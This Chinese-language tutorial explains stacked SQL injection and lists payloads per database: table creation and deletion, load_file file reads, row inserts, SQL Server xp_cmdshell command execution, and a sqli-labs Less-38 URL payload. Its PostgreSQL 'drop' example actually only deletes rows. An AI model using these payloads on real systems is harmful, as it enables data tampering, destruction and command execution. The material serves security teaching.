堆叠查询注入
1.定义
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实
的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加;表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stackedinjection。
2.原理
在SQL中，分号;是用来表示一条sql语句的结束。试想一下我们在; 结束一个sql语句后继续构造下一条语句，会不会一起执行？因此这个想法也就造就了堆叠注入。而union injection（联合注入）也是将两条语句合并在一起，两者之间有什么区别么？区别就在于union 或者union all执行的语句类型是有限的，可以用来执行查询语句，而堆叠注入可以执行的是任意的语句。
3.局限性
堆叠注入的局限性在于并不是每一个环境下都可以执行，可能受到API或者数据库引擎不支持的限制，当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
各个数据库实例介绍（摘自文章链接）
本节我们从常用数据库角度出发，介绍几个类型的数据库的相关用法。数据库的基本操作，增删查改。以下列出数据库相关堆叠注入的基本操作。
Mysql
1.新建一表
select * from users where id=1;create table test like users;
执行成功，我们再去看一下是否新建成功表。
2.删除上面新建的test表
select * from users where id=1;drop table test;
3.查询数据
select * from users where id=1;select 1,2,3;
4.加载文件
select * from users where id=1;select load_file('c:/tmpupbbn.php');
5.修改数据
select * from users where id=1;insert into users(id,username,password) values ('100','new','new');
Sql server
1.增加数据表
select * from test;create table sc3(ss CHAR(8));
2.删除数据表
select * from test;drop table sc3;
3.查询数据
select 1,2,3;select * from test;
4.修改数据
select * from test;update test set name='test' where id=3;
5.sqlserver中最为重要的存储过程的执行
select * from test where id=1;exec master..xp_cmdshell 'ipconfig'
Oracle
上面的介绍中我们已经提及，oracle不能使用堆叠注入，可以从图中看到，当有两条语句在同一行时，直接报错。无效字符。后面的就不往下继续尝试了。
Postgresql
1.新建一个表
select * from user_test;create table user_data(id DATE);
可以看到user_data表已经建好。
2.删除上面新建的user_data表
select * from user_test;delete from user_data;
3.查询数据
select * from user_test;select 1,2,3;
4.修改数据
select * from user_test;update user_test set name='modify' where name='张三';
演示案例
Sqlilabs-Less38-堆叠注入(多语句)
在执行select时的sql语句为：SELECT * FROM users WHERE id='$id' LIMIT 0,1
可以直接构造如下的payload：
http://127.0.0.1/sql/Less-38/index.php?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
再看数据表中的内容：可以看到less38已经添加。
